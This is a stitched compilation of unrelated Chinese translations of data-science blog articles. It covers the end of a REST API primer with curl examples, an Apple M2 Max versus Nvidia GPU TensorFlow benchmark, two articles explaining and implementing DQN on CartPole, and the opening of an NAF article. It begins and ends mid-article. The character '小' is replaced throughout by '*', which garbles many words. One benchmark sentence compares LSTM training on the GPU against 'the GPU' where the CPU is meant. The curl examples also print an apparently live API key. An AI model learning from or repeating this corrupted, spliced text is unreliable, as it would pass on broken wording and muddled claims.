REST 代表表现层状态转移,也称为 RESTful Web 服务。它是一种标准化的 API 架构,允许跨平台和设备间通过 HTTP 网络协议进行通信。
再简单一点,它允许两个应用程序组件互相交互。
典型的客户端-服务器交互主要包括四种操作:
-
创建:通过 API 请求执行的创建操作涉及在后端数据层上创建资源。例如,在 TODO 列表应用中,创建 API 请求可用于在数据库中创建一个 TODO 项。
-
读取:读取操作可用于从数据库中获取数据。根据客户端的请求和后端资源访问的实现,这些数据可以是某一类型的单个资源、一批单一类型的资源,或不同类型的资源集合。以同样的 TODO 应用为例,读取请求可以用于获取用户创建的所有 TODO。
-
更新:可以执行更新操作以更新数据层中特定资源相关的数据。在我们的 TODO 应用中,更新请求可用于更新 TODO 任务。
-
删除:顾名思义,删除操作用于删除资源。对于我们的 TODO 应用,删除请求可用于从 TODO 列表中删除 TODO 对象。
这些操作统称为CRUD(Create,Read,Update,Delete)操作。对于任何应用程序,这些都是用户可以执行的一些最基本的操作。
简单来说,当用户与应用程序交互时,他们要么在访问数据,要么数据正在被创建或操作。REST API 充当前端和后端之间的中介步骤,允许在应用程序中执行 CRUD 操作。
我们之前提到,由于 API 作为客户端和服务器之间的通信渠道实现,客户端和服务器可以使用完全不同的编程技术栈。然而,必须有一种标准化的,语言无关的机制,以便客户端和服务器可以通过 API 进行交互。为此,REST API 使用JSON基础的消息传递协议。
JSON 代表JavaScript 对象表示法。它是一种开放标准文件格式和数据交换格式,其具有可读性。数据通过 JSON 以键值对和数组格式传输。
下图演示了典型的客户端-服务器交互。
作者提供的图片
-
客户端通过 HTTP 协议向服务器发送 API 请求。该请求采用 JSON 格式。
-
服务器解析此 API 请求,处理请求,然后将 API 响应发送回客户端,该响应再次以 JSON 格式呈现。
-
客户端可以解析 JSON 响应对象以进行呈现。
正如你所观察到的,由于中介通信通道是标准化的,因此客户端和服务器可以在平台和实现方面独立操作。也就是说,后端可以用一种编程语言(例如 Python)编写,前端可以用另一种(例如 JavaScript)编写,应用程序仍然可以正常工作。
另一个 REST API 的重要特征是它们是无状态的。这意味着从客户端到服务器的每个请求必须包含理解和完成请求所需的所有信息。后续请求不依赖于之前的请求。
至此,我们已经完成了关于 API 的一些理论概念以及 REST API 的特征。这一切将我们带到了最重要的部分。
API 请求是什么样的?
正如我们之前讨论的,REST API 调用是无状态的,这意味着每个 API 请求中,我们需要发送
-
处理请求所需的所有数据。这些数据涉及要执行的操作类型,
-
有关用户认证的信息,
-
通过 API 访问的资源,
-
以及可能需要处理请求的一些额外参数。
根据这些要求,REST API 请求可以分解为 4 个组件:
资源路径
这是通过 API 请求操作的资源路径。资源可以视为数据库中的对象或实体。资源路径是映射到数据库中的实体。继续以 TODO 应用为例。一个 API 端点可以用来获取用户所有 TODO 的列表。该端点的 URL 看起来像这样:https://mytodolist.com/todos/
这里,https://mytodolist.com
是网站的域名。/todos/
是 TODO 对象的资源路径。
HTTP 动词
正如我们之前讨论的,API 请求必须指定打算执行的 CRUD 操作类型。为此,我们在 API 调用中指定一个 HTTP 动词。理解 HTTP 动词的最简单方法是它们是指示服务器对特定资源执行什么操作的“词”。
有许多预定义和标准化的 HTTP 动词,然而,最常用的如下所述。
-
POST: 用于创建资源对象
-
GET: 用于对资源执行读取操作
-
PUT: 用于执行更新操作
-
DELETE: 用于执行删除操作
请求体
请求体可以用来指定处理请求时可能需要的一些额外参数。例如,在我们的 TODO 应用中,为了创建一个 TODO 对象,我们必须指定任务。类似地,为了更新 TODO 对象,我们需要指定新的任务,这个任务将替换 TODO 列表中的原始任务,并提供要修改任务的 ID。在我们的 API 请求中,我们必须通过请求体发送这些信息。
一般来说,我们需要为 POST 和 PUT 请求指定请求体。GET 请求没有请求体。
注意: 请求体使用 JSON 格式将请求数据以键值对对象的形式发送。
请求头
虽然上述 3 个组件通常足以发出 REST API 请求,但有时我们需要在 API 请求中指定一些额外的细节。以用户认证为例。
在我们的 TODO 应用中,我们可能会有一堆用户,每个用户都有自己的 TODO 列表。我们必须确保首先,只有授权用户才能创建、读取、更新和删除 TODO。然后,我们还需要确保一个用户不能访问另一个用户的 TODO。为了保证这些要求,我们需要在 API 端点上实现某种形式的授权,以确定是否是授权用户在进行 API 请求,以及资源是否真正属于该用户。
尽管我们不会深入讨论认证策略,但仅为了信息传递,我们在请求头中发送认证信息,通常以唯一令牌的形式。
所有这些组件一起构成了一个 API 调用。
让我们看看一些使用 cURL 发出的示例 API 调用:
curl --request GET \
--url https://realstonks.p.rapidapi.com/TSLA \
--header 'X-RapidAPI-Host: realstonks.p.rapidapi.com' \
--header 'X-RapidAPI-Key: 1ca406921amsh21f2341da9178c3p1a7dd9jsn5d319166bd10'
上述是一个 GET API 请求。我们使用 --request
标志来指定 HTTP 动词。--url
标志用于指定请求路径。然后使用 --header
标志来指定头部信息。
curl --request POST \
--url https://hotel-price-aggregator.p.rapidapi.com/rates \
--header 'X-RapidAPI-Host: hotel-price-aggregator.p.rapidapi.com' \
--header 'X-RapidAPI-Key: 1ca406921amsh21f2341da9178c3p1a7dd9jsn5d319166bd10' \
--header 'content-type: application/json' \
--data '{
"hotelId": "102061485",
"checkIn": "2022-07-01",
"checkOut": "2022-07-02"
}'
上述是一个 POST 请求,我们可以看到使用 --data
标志指定请求体的示例。
API 请求的实现可能因编程语言或工具而异。然而,API 请求的关键组件将保持不变,即 HTTP 动词、请求 URL 或请求路径、请求体和请求头部。
现在我们知道 API 请求是什么样的,API 请求-响应周期中仅剩下一个组件需要理解——API 响应。
API 响应是什么样的?
API 响应是后端在处理完 API 请求后返回给前端的响应。响应应告知客户端请求是否成功,如果成功,应返回请求的数据或适当的确认信息。如果请求不成功,客户端应接收到相关的错误信息。
根据这些要求,API 响应可以分为两个部分,如下所述。
响应体
响应体包含请求的数据(在 GET API 请求的情况下),或者在其他 API 请求类型中包含适当的确认消息。如果 API 请求失败,响应体将包含适当的失败消息,说明为什么 API 调用到服务器失败。
响应状态码
API 响应包含一个响应状态码,帮助客户端确定请求是成功还是失败。这些状态码已经为 HTTP 协议标准化,可以大致分为 5 类 — 1xx
→ 信息性,2xx
→ 成功,3xx
→ 重定向,4xx
→ 客户端错误,5xx
→ 服务器错误
一些常见的状态码如下所示。
-
200 — 成功。请求成功。
-
204 — 无内容。
-
301 — 永久移动。
-
400 — 错误请求。
-
401 — 未经授权。
-
403 — 禁止访问。
-
404 — 未找到。
-
500 — 内部服务器错误。
例如,我们之前发出的 GET API 请求的响应如下:
{
"price": 141.98,
"change_point": 8.56,
"change_percentage": 6.42,
"total_vol": "107.51M"
}
响应状态码是 200。
结论
随着这篇文章的结束,我们来总结一下。我们了解了什么是 API,以及它们如何在设备和应用程序之间实现通信。最后,我们深入研究了 REST API——API 请求响应周期是如何工作的。
显然,API 只是一个基础,或者说是进入广阔的软件开发(更准确地说是后端开发)世界的后门,正如标题所暗示的那样。
你可以关注我,以阅读更多有趣的概念。在本系列的后续博客中,我们将更深入地探讨后端开发。
Apple M2 Max GPU 对比 Nvidia V100、P100 和 T4
原文:
towardsdatascience.com/apple-m2-max-gpu-vs-nvidia-v100-p100-and-t4-8b0d18d08894
比较 Apple Silicon M2 Max GPU 的性能与 Nvidia V100、P100 和 T4,在 TensorFlow 中训练 MLP、CNN 和 LSTM 模型。
·发布于 Towards Data Science ·阅读时长 6 分钟·2023 年 11 月 2 日
--
图片由作者提供
2020 年 11 月发布的 Apple M1 是在被 Intel 主导的计算机世界中的一场革命。这些新的 M1 Mac 在许多基准测试中表现出色,因为 M1 在能耗的极*部分下,比大多数高端台式计算机更快。
以下是我之前对 M1 的基准测试:
M1 与 Xeon®、Core i5、K80 和 T4 的基准测试
M1 在 TensorFlow 训练中与 20 核 Xeon® 竞争
2023 年 1 月,苹果宣布了新的 M2 Pro 和 M2 Max。它们的规格让我们期待性能的显著提升,特别是在 GPU 方面。
将 M2 Max 与 M1 规格进行比较
这个 M2 Max 具有 30 个 GPU 核心,因此我们根据 38 核 GPU 版本的 13.6 TFlops 估算了 10.7 TFLOPS。
GPU 比较
相比之下,M2 Max 38 核 GPU 达到 13.6 TFlops。我的测试将显示,仅凭 TFlops 无法估计这些 GPU 的实际性能。
为了获得可比较的结果,我在默认的 TensorFlow FP32 浮点精度下运行每个测试。
你可以通过运行来验证这一精确度:
tf.keras.backend.floatx()
'float32'
设置
在这篇文章中,我对M2 Max GPU 与 Nvidia 的V100、P100、T4在 MLP、CNN 和 LSTMTensorFlow模型上的表现进行了基准测试。
基准测试设置
在 M1 和 M2 Max 计算机上,环境是在miniforge下创建的。仅安装了以下软件包:
conda install python=3.10
pip install tensorflow-macos==2.12
pip install tensorflow-metal==0.8.0
conda install pandas
与我以前的文章不同,TensorFlow 现在可以直接与 Apple Silicon 兼容,无论是从 pip、anaconda 还是 miniforge 安装。
要启用 GPU 使用,请安装由苹果公司分发的tensorflow-metal包,并使用TensorFlow PluggableDevices。请注意,Metal加速也适用于PyTorch和JAX。
苹果表示
随着对 Metal 后端支持的更新,你可以利用新功能如自定义内核和混合精度训练,更快地训练更广泛的网络。
模型
这个基准测试包含一个运行MLP、CNN和LSTM模型的 Python 程序,这些模型在Fashion MNIST¹数据集上进行训练,批量大*为 32、128、512 和 1024 样本。
它还使用验证集以保持与实际应用中大多数模型训练方法的一致性。然后,使用测试集在训练后评估模型,以确保一切正常。所以,训练集、验证集和测试集的大*分别为 50000、10000 和 10000。
我使用与上一篇文章中描述的相同测试程序。提醒一下,这三个模型是简单的,下面总结了它们的特点。
MLP
model = tf.keras.models.Sequential([
tf.keras.layers.Flatten(input_shape=X_train.shape[1:]),
tf.keras.layers.Dense(512,activation='relu'),
tf.keras.layers.Dropout(rate=0.2),
tf.keras.layers.Dense(64,activation='relu'),
tf.keras.layers.Dense(10,activation='softmax')
])
CNN
model = tf.keras.models.Sequential([
tf.keras.layers.Conv2D(32,(3,3),activation = 'relu',input_shape=X_train.shape[1:]),
tf.keras.layers.MaxPooling2D((2,2)),
tf.keras.layers.Conv2D(64,(3,3),activation = 'relu'),
tf.keras.layers.MaxPooling2D((2,2)),
tf.keras.layers.Conv2D(64,(3,3),activation = 'relu'),
tf.keras.layers.Flatten(),
tf.keras.layers.Dense(64,activation='relu'),
tf.keras.layers.Dense(10,activation='softmax')
])
LSTM
model = tf.keras.models.Sequential([
tf.keras.layers.LSTM(128,input_shape=X_train.shape[1:]),
tf.keras.layers.Dense(10,activation='softmax')
])
它们都使用以下优化器和损失函数。
model.compile(optimizer='adam',
loss='sparse_categorical_crossentropy',
metrics=['accuracy'])
请注意,与以前的基准测试文章不同,现在的急切模式对 GPU 有效。
结果
让我们首先比较 M2 Max 与 M1。
M2 Max 与 M1 的比较
正如预期的那样,M2 Max 始终比 M1 更快。以下显示了具体的倍数。
M2 Max 在 GPU 训练中的速度是 M1 的多少倍
下面是速度的平均、最*和最大增幅。我们发现使用 M2 Max 进行 Convnet 训练的速度可以比使用 M1 GPU 快多达 4.38 倍。
M2 Max 在 GPU 训练中比 M1 快多少倍
现在让我们比较一下 M2 Max 与 Google Cloud、AWS、Google Colaboratory 或 Kaggle 平台上其他 Nvidia 高端 GPU 的表现。
M2 Max 与 Nvidia T4、V100 和 P100 的比较
虽然在 batch size 为 32 和 128 时训练性能相似,但 M2 Max 在 batch size 为 512 和 1024 时显示出所有 GPU 中最好的性能。
P100 是其他 GPU 中速度最快的,而从规格来看 V100 是预期中的最优选择。这可能与实例本身有关,因为每张卡的三个不同版本的特性无法解释这一点。检查细节时,Kaggle P100 实例有 4 个 vCPU,而 Colab V100 只有 2 个 vCPU。也许这会影响整体性能,需要进一步检查。
在这里,我们比较 M2 Max 与 Nvidia P100 的速度差异。
M2 Max 在 GPU 训练中比 P100 快多少倍
下面是速度的平均、最*和最大增幅。我们发现,平均而言,M2 Max 与 P100 相同,并且虽然在 batch size 为 32 和 128 时较慢,但在 batch size 为 1024 时,MLP 的速度可以快达 1.77 倍,LSTM 快达 1.43 倍,CNN 快达 1.24 倍。
M2 Max 在 GPU 训练中比 P100 快多少倍
M2 Max 上 GPU 与 CPU 的好处
过去,使用旧版本的 TensorFlow 时,常常观察到 MLP 和 LSTM 在 CPU 上的训练效率高于 GPU。只有 CNN 受益于 GPU。但现在,随着 TensorFlow 的最新版本,LSTM 的情况发生了变化。
所以最后一个有趣的测试是检查模型训练在 GPU 与 CPU 的比较中是否有好处。
M2 Max GPU 的训练速度比 CPU 快多少倍
MLP 并未从 GPU 加速中受益。正如预期的那样,CNN 在每种情况下都受益,但从 batch size 为 128 开始,差异巨大,速度提高到约 5 倍。
但真正的惊喜来自 LSTM,其训练速度比 GPU 快多达 6.77 倍,尤其是在 batch size 为 1024 时。
结论
从这些测试来看,
-
M2 Max 比 M1 快得多,因此 Mac 用户可以从这一升级中受益。
-
与 T4、P100 和 V100 相比,M2 Max 在 batch size 为 512 和 1024 时始终更快。
-
性能差异不仅仅是 TFlops 的问题。M2 Max 理论上比 P100 快 15%,但在真实测试中,对于 batch size 为 1024 的情况,CNN 的性能提高了 24%,LSTM 提高了 43%,MLP 提高了 77%。
当然,这些指标只能用于与本测试中使用的神经网络类型和深度相似的情况。
需要对更大模型和数据集进行新的测试。
现在 TensorFlow 可以在 Apple Silicon 上轻松安装和高效运行。GPU 现在可以用于任何模型,大大提高了任何类型模型的训练性能,特别是 LSTM 模型。
我们可以得出结论,M2 Max 是一个非常好的机器学习工程师平台。它能够以非常好的性能在 GPU 上训练模型,甚至比常见的 T4、P100 或 V100 云实例更好。它还包含 12 个 CPU 核心,使其比这些 GPU 实例更灵活,且能耗仅为它们的一*部分。
更新 (2023 年 12 月 11 日):最新版本的 tensorflow-metal(> 0.8.0)存在一个错误,使得一些模型无法收敛。为避免此问题,我已通过设置 TensorFlow 和 tensorflow-metal 版本来更新了文章中的安装说明。随后,我使用这个新软件包组合重新进行了测试,以确保基准测试结果没有变化。我确认这不会改变性能结果。
参考资料
图像和代码:除非另有明确说明,否则本文中的所有图像和代码均由作者提供。
数据集许可:Fashion-MNIST 按照 MIT 许可证 进行许可。
[1] Han Xiao 和 Kashif Rasul 和 Roland Vollgraf,Fashion-MNIST:用于基准测试机器学习算法的新型图像数据集(2017 年)
应用强化学习 III:深度 Q 网络(DQN)
原文:
towardsdatascience.com/applied-reinforcement-learning-iii-deep-q-networks-dqn-8f0e38196ba9
逐步学习 DQN 算法的行为,以及它相比于以前的强化学习算法的改进
·发表于 数据科学前沿 ·7 分钟阅读·2023 年 1 月 2 日
--
图片由 Андрей Сизов 提供,发布在 Unsplash
如果你想在没有 Premium Medium 帐户的情况下阅读这篇文章,可以通过这个朋友链接进行 😃
www.learnml.wiki/applied-reinforcement-learning-iii-deep-q-networks-dqn/
深度 Q 网络,首次由 Mnih 等人在 2013 年的论文中报告[1],是迄今为止最知名的强化学习算法之一,因为自发布以来,它在无数 Atari 游戏中展示了超越人类的表现,如图 1所示。
图 1。对 57 款 Atari 游戏中每个智能体的中位人类标准化评分进行的绘图。图像摘自 deepmind/dqn_zoo GitHub 库
此外,除了看到 DQN 智能体像职业玩家一样玩这些 Atari 游戏的奇妙之处外,DQN 还解决了一个已知几十年的算法问题:Q-学习,该算法已经在本系列的第一篇文章中介绍和解释:
逐步了解 Q-学习算法,以及任何基于 RL 的系统的主要组件
towardsdatascience.com
Q-Learning 旨在找到一个形式为状态-动作表的函数(Q-Function),该函数计算给定状态-动作对的期望总奖励,以便智能体能够通过执行 Q-Function 输出最高的动作来做出最佳决策。尽管 Watkins 和 Dayan 在 1992 年数学上证明了只要动作空间是离散的,并且每个可能的状态和动作都被反复探索,这个算法就会收敛到最佳的行动值 [2],但在实际环境中很难实现这种收敛。毕竟,在连续状态空间的环境中,不可能反复遍历所有可能的状态和动作,因为状态和动作是无限的,Q-Table 将会太大。
DQN 通过通过神经网络近似 Q-Function 并从之前的训练经验中学习来解决这个问题,以便智能体能够从已经经历过的经验中多次学习,而不必再次经历这些经验,同时避免计算和更新连续状态空间的 Q-Table 的过度计算成本。
DQN 组件
撇开智能体交互的环境不谈,DQN 算法的三个主要组件是主神经网络、目标神经网络和回放缓冲区。
主神经网络
主神经网络尝试预测给定状态下采取每个动作的期望回报。因此,网络的输出将有尽可能多的值以匹配要采取的动作,而网络的输入将是状态。
神经网络通过执行梯度下降来最*化损失函数,但需要一个预测值和一个目标值来计算损失。预测值是主神经网络对当前状态和动作的输出,目标值是通过将获得的奖励加上目标神经网络对下一个状态的输出的最高值乘以折扣率γ来计算的。损失的计算可以通过图 2在数学上理解。
图 2。损失函数。图片由作者提供
至于为什么使用这两个值来计算损失,原因在于目标网络通过获取未来状态和动作的未来奖励预测,对当前动作在当前状态下的有用性有更多的信息。
目标神经网络
目标神经网络如上所述,用于获取计算损失和优化的目标值。这个神经网络不同于主神经网络,将每 N 个时间步更新一次,使用主网络的权重。
回放缓冲区
Replay Buffer 是一个列表,包含代理所经历的经验。与监督学习训练进行类比,这个缓冲区相当于用于训练的数据集,不同之处在于缓冲区必须逐步填充,随着代理与环境互动并收集信息。
对于 DQN 算法,该缓冲区中的每个经验(数据集中的行)由当前状态、在当前状态下采取的动作、采取该动作后的奖励、是否为终止状态以及采取动作后的下一个状态表示。
与 Q-Learning 算法中使用的方法不同,这种从经验中学习的方法允许从代理与环境的所有互动中学习,而不依赖于代理刚刚与环境的互动。
DQN 算法流程
DQN 算法的流程遵循[1]中的伪代码,如下所示。
DQN 伪代码。摘自[1]
对于每一集,代理执行以下步骤:
1. 从给定状态中选择一个动作
动作的选择遵循ε-贪心策略,这在[3]中已解释过。该策略将以概率 1-ε选择具有最佳 Q 值的动作,这个 Q 值是主神经网络的输出,而以概率ε选择一个随机动作(见图 3)。ε(epsilon)是算法的一个超参数。
图 3. ε-贪心策略。图片来源于作者
2. 在环境中执行动作
代理在环境中执行动作,获取到新的状态、获得的奖励以及是否达到终止状态。这些值通常由大多数健身环境[4]在通过step()方法执行动作时返回。
3. 将经验存储在 Replay Buffer 中
如前所述,经验在 Replay Buffer 中保存为{s, a, r, terminal, s’},其中s和a分别是当前状态和动作,r和s’是执行动作后的奖励和新状态,terminal是一个布尔值,表示是否达到目标状态。
4. 从 Replay Buffer 中抽取一批随机经验
如果 Replay Buffer 中有足够的经验来填充一个批次(如果批次大*为 32,而 Replay Buffer 只有 5 个经验,则批次不能填充,此步骤将被跳过),将随机抽取一批经验作为训练数据。
5. 设置目标值
目标值的定义有两种不同的方式,取决于是否到达了终端状态。如果到达了终端状态,目标值将是收到的奖励;如果新状态不是终端状态,目标值将是如前所述的奖励与下一状态的目标神经网络输出(具有最高 Q-Value)乘以折扣因子γ的总和。
目标值定义。从[1]中的 DQN 伪代码提取
折扣因子 γ 是算法中需要设置的另一个超参数。
6. 执行梯度下降
梯度下降应用于从主神经网络的输出和之前计算的目标值计算的损失,遵循图 2中显示的方程式。可以看到,使用的损失函数是均方误差(MSE),因此损失将是主网络输出与目标值之间的差的平方。
7. 执行以下时间步
一旦完成了前面的步骤,这个过程会不断重复,直到达到每集的最大时间步数或智能体到达终端状态。当发生这种情况时,智能体将进入下一集。
结论
相较于 Q-Learning,DQN 算法在训练具有连续状态的环境中的智能体时代表了显著的改进,从而允许更大的使用灵活性。此外,使用神经网络(特别是卷积神经网络)而不是 Q-Learning 的 Q-Table,使得可以将图像(例如 Atari 游戏的帧)输入到智能体中,这进一步增加了 DQN 的多样性和可用性。
关于算法的弱点,需要指出的是,使用神经网络可能会导致每帧的执行时间比 Q-Learning 长,尤其是在使用大批量数据时,因为进行大量数据的前向传播和反向传播过程比使用Applied Reinforcement Learning I: Q-Learning中介绍的修改后的 Bellman 最优方程更新 Q-Table 的 Q-Values 要慢得多。此外,Replay Buffer 的使用可能会成为一个问题,因为算法处理的是存储在内存中的大量数据,这可能会超出某些计算机的 RAM 容量。
参考文献
[1] MNIH, Volodymyr, 等. 使用深度强化学习玩 Atari 游戏. arXiv 预印本 arXiv:1312.5602, 2013.
[2] WATKINS, Christopher JCH; DAYAN, Peter. Q 学习. 机器学习, 1992, 第 8 卷,第 3 期,第 279-292 页。
[3] Applied Reinforcement Learning I: Q-Learning
medium.com/towards-data-science/applied-reinforcement-learning-i-q-learning-d6086c1f437
[4] Gym 文档 www.gymlibrary.dev/
应用强化学习 IV:DQN 的实现
原文:
towardsdatascience.com/applied-reinforcement-learning-iv-implementation-of-dqn-7a9cb2c12f97
DQN 算法的实现,以及将其应用于 OpenAI Gym 的 CartPole-v1 环境
·发表于 Towards Data Science ·8 分钟阅读·2023 年 1 月 10 日
--
如果你想阅读这篇文章而不使用高级 Medium 账户,可以通过这个朋友链接来阅读 😃
www.learnml.wiki/applied-reinforcement-learning-iv-implementation-of-dqn/
在本系列的上一篇文章中,应用强化学习 III: 深度 Q 网络 (DQN),介绍并解释了深度 Q 网络算法,以及与其前身 Q-Learning 相比的优缺点。在本文中,将把之前讲解的内容付诸实践,通过将 DQN 应用到实际用例中。如果你对 DQN 算法的基本概念或其原理不熟悉,我建议你在继续阅读本文之前先查看上一篇文章。
逐步学习 DQN 算法的行为,以及与之前的强化学习方法相比的改进…
环境 — CartPole-v1
使用的仿真环境将是 gym CartPole 环境,它由一个沿水平导轨移动的推车和一个竖直安装在其上的杆子组成,如图 1所示。目标是通过推车在水平位移中产生的惯性,使杆子尽可能保持竖直。当杆子保持竖直超过 500 个时间步骤时,认为一集成功;如果推车在右侧或左侧偏离水平导轨,或者杆子相对于垂直轴倾斜超过 12 度(约 0.2095 弧度),则认为一集失败。
图 1. CartPole 环境的图像。图片摘自 gym 环境的渲染
环境具有离散动作空间,因为 DQN 算法不适用于具有连续动作空间的环境,而状态空间是连续的,因为 DQN 相对于 Q-Learning 的主要优势是能够处理连续或高*状态,这一点还需要证明。
动作
CartPole 环境的动作。作者提供的图像
状态
状态表示为一个包含 4 个元素的数组,每个元素的意义及其允许的值范围如下:
CartPole 环境的状态。作者提供的图像
应注意,尽管允许的值范围如表中所示,但如果发生以下情况,则一集将被终止:
-
Cart 在 x 轴上的位置离开了 (-2.4, 2.4) 范围
-
杆子角度离开了 (-0.2095, 0.2095) 范围
奖励
代理在每个时间步骤中获得 +1 的奖励,旨在尽可能长时间保持杆子竖立。
DQN 实现
从 Mnih 等人[1] 提出的论文中提取的伪代码将作为参考以支持算法的实现。
DQN 伪代码。摘自[1]
1. 初始化 Replay Buffer
Replay Buffer 被实现为双端队列(deque),并创建了两个方法与之交互:save_experience() 和 sample_experience_batch()。save_experience() 允许将经验添加到重放缓冲区,而 sample_experience_batch() 随机挑选一批经验,这些经验将用于训练代理。经验批次作为一个(states, actions, rewards, next_states, terminals) 的元组返回,其中元组中的每个元素对应一个 {batch_size} 项的数组。
双端队列(Deques),根据Python 的文档,支持线程安全、内存高效的从队列任一侧追加和弹出元素,性能在任一方向上大致为 O(1)。而 Python 列表 在从列表的左侧插入或弹出元素时,复杂度为 O(n),这使得双端队列在需要操作左侧元素时是一个更高效的选择。
2. 初始化主神经网络和目标神经网络
主神经网络和目标神经网络都通过create_nn() 方法初始化,该方法创建一个包含 64、64 和 2(CartPole 环境的动作大*)层的 keras 模型,每层神经元数量分别为 64、64 和 2,输入为环境的状态大*。使用的损失函数是均方误差(MSE),如算法伪代码中所述(如图 2所示),优化器为 Adam。
如果使用 DQN 算法来教代理如何玩 Atari 游戏,如上一篇文章所提到的,神经网络应为卷积神经网络,因为这种训练类型的状态是视频游戏的帧。
图 2。摘自 DQN 伪代码中的 [1]
3. 在每个时间步长中执行循环,每个回合内
以下步骤会在每个时间步长上重复,并形成 DQN 代理训练的主要循环。
3.1 按照 Epsilon-Greedy 策略选择动作
选择具有最佳 Q-值的动作,即主神经网络输出中值最高的动作,概率为 1-ε,其余情况下选择一个随机动作。
完整的算法实现可以在我的 GitHub 仓库中找到,它在每个回合中更新 epsilon 值,使其逐渐变*。这使得探索阶段主要发生在训练的开始阶段,而利用阶段则发生在剩余的回合中。训练过程中 epsilon 值的演变见图 3。
图 3。训练中的 epsilon 衰减。图片作者提供
3.2 在环境中执行动作并将经验存储到回放缓冲区
从上一步提取的动作通过env.step() 方法应用到 gym 环境中,该方法接收要应用的动作作为参数。此方法返回一个元组 (next_state, reward, terminated, truncated, info),其中的下一个状态、奖励和终止字段与当前状态和选择的动作一起用于使用之前定义的save_experience()方法将经验保存到回放缓冲区。
3.3 训练代理
最终,智能体通过沿回合存储的经验进行训练。如上一篇文章所解释,主神经网络的输出被视为预测值,目标值则根据奖励和目标网络在下一个状态中具有最高 Q 值的动作的输出计算。然后,计算预测值与目标值之间的平方差作为损失,并在主神经网络上执行梯度下降。
4. 主循环
在定义了算法在前述步骤中的行为以及其代码实现之后,所有组件可以组合在一起,构建 DQN 算法,如下代码所示。
代码中有一些行为值得提及:
-
update_target_network() 方法,本文中未提及,将主神经网络的权重复制到目标神经网络。这个过程每{update_rate}时间步重复一次。
-
只有当 Replay Buffer 中有足够的经验以填满一个批次时,才会进行主神经网络的训练。
-
只要未达到最低值,epsilon 值在每个回合中会减少,通过将前一个值乘以*于 1 的减少因子。
-
当在最后 10 个回合中的每一回合都达到了 499 以上的累积奖励时,训练停止,因为此时智能体被认为已经成功学会了执行任务。
测试 DQN 智能体
训练好的 DQN 智能体的表现通过绘制训练期间获得的奖励图来评估,并通过运行一个测试回合来进行。
奖励图用于查看智能体是否能够使奖励收敛到最大值,或者相反,如果智能体不能使奖励在每个训练回合中增加,这将意味着训练失败。至于测试回合的执行,这是评估智能体的一种现实方式,因为它以实际的方式展示了智能体是否真的学会了执行其训练的任务。
奖励图
图表清晰地显示了尽管在一些回合中智能体在若干时间步内失败,但奖励仍然收敛到最大值。这可能是因为在这些回合中,智能体初始化在一个不熟悉的位置,因为在训练过程中这种初始化并不多见。同样,奖励趋向最大值的趋势是智能体训练正确的一个指标。
奖励图。作者提供的图片
执行测试回合
智能体成功地以最高分 500 执行了测试回合,这无疑证明了他已经完美地学会了执行任务,正如奖励图所示。
代码和测试回合的执行。图像由作者提供。
结论
DQN 算法已经成功地完美地学习了任务,因此它在具有连续状态空间的环境中的应用可以被认为是有效的。同样,算法通过使用两个神经网络,在合理的时间内解决了处理连续和复杂状态空间的问题。由于只有两个网络中的一个被训练,计算时间大大减少,但值得注意的是,即使是简单任务,相比于 Q-Learning 算法,算法的执行时间仍然较长。
关于算法的执行时间,本文仅展示了在简单且易于学习的环境中使用密集神经网络实现 DQN,但需要考虑的是,DQN 在如 Atari 游戏这样的环境中的应用,这些环境通过游戏图像供给卷积神经网络,需要更长的时间来达到最佳 Q 值的收敛,以及进行前向和反向传播过程,因为环境和神经网络的复杂性更高。
最后,必须考虑使用 Replay Buffer 的限制,特别是内存成本。虽然可以指定队列(deque)的最大长度,从而避免过度的内存消耗,但仍然会消耗大量的 RAM。然而,这个问题可以通过将大部分 Replay Buffer 加载到磁盘上,同时将*部分保留在内存中,或者使用更高效的缓冲区来解决,而不是使用双端队列。
代码
完整实现的 DQN 算法,无论是 Jupyter Notebook 还是 Python 脚本,都可以在我的人工智能 GitHub 仓库中找到。
## GitHub - JavierMtz5/ArtificialIntelligence
目前无法执行该操作。您在另一个标签或窗口中登录。您在另一个标签中注销了…
参考文献
[1] MNIH, Volodymyr 等人。使用深度强化学习玩 Atari 游戏。arXiv 预印本 arXiv:1312.5602,2013。
应用强化学习 V:用于连续控制的归一化优势函数(NAF)
NAF 算法的介绍和解释,这是一种广泛用于连续控制任务的算法
·发表在 Towards Data Science ·9 分钟阅读·2023 年 1 月 19 日
--
如果你想在没有 Premium Medium 账户的情况下阅读这篇文章,你可以通过这个朋友链接来查看 😃
本系列之前的文章介绍并解释了两种自其诞生以来广泛使用的强化学习算法:Q-Learning 和 DQN。
Q-Learning 将 Q 值存储在一个动作-状态矩阵中,因此,要在状态 s 中获得最大的 Q 值动作 a,必须找到 Q 值矩阵中第 s 行的最大元素,这使得其在连续状态或动作空间中的应用变得不可能,因为 Q 值矩阵将是无限的。
另一方面,DQN 通过利用神经网络来获取与状态 s 相关的 Q-值,从而部分解决了这个问题,使神经网络的输出为每个可能的动作的 Q-值(相当于 Q-Learning 的动作-状态矩阵中的一行)。该算法允许在具有连续状态空间的环境中进行训练,但仍然无法在具有连续动作空间的环境中进行训练,因为神经网络的输出(具有与可能动作一样多的元素)将会是无限长度的。
NAF 算法由 Shixiang Gu 等人提出于[1],与 Q-Learning 或 DQN 不同,它允许在连续状态和动作空间环境中进行训练,增加了许多应用的灵活性。像 NAF 这样的连续环境中的强化学习算法通常在控制领域中使用,特别是在机器人技术中,因为它们能够在更贴近现实的环境中进行训练。
强化学习算法的类型及其可能的状态/动作空间。作者提供的图片
引言概念
优势函数
状态-价值函数 V 和 动作-价值函数(Q-函数)Q,都在 本系列的第一篇文章 中进行了讲解,分别确定了在遵循某个策略时处于某状态的好处以及在遵循某个策略时从给定状态采取某个动作的好处。这两个函数,以及 V 相对于 Q 的定义,可以在下方查看。
Q-函数、价值函数和 Q-V 关系。作者提供的图片
由于 Q 返回在某状态下采取某个动作的好处,而 V 返回处于某状态的好处,因此两者之间的差异提供了关于在某状态下相对于其他动作采取特定动作的优势信息,或者代理通过采取该动作相对于其他动作所获得的额外奖励。这个差异称为 优势函数,其方程式如下所示。
优势函数。作者提供的图片
Ornstein-Uhlenbech 噪声过程(OU)
正如之前的文章所见,在离散环境下的强化学习算法如 Q-Learning 或 DQN 中,探索是通过随机选择一个动作并忽略最优策略来进行的,比如 epsilon 贪心策略。然而,在连续环境中,动作是根据最优策略选择的,并且在这个动作上添加噪声。
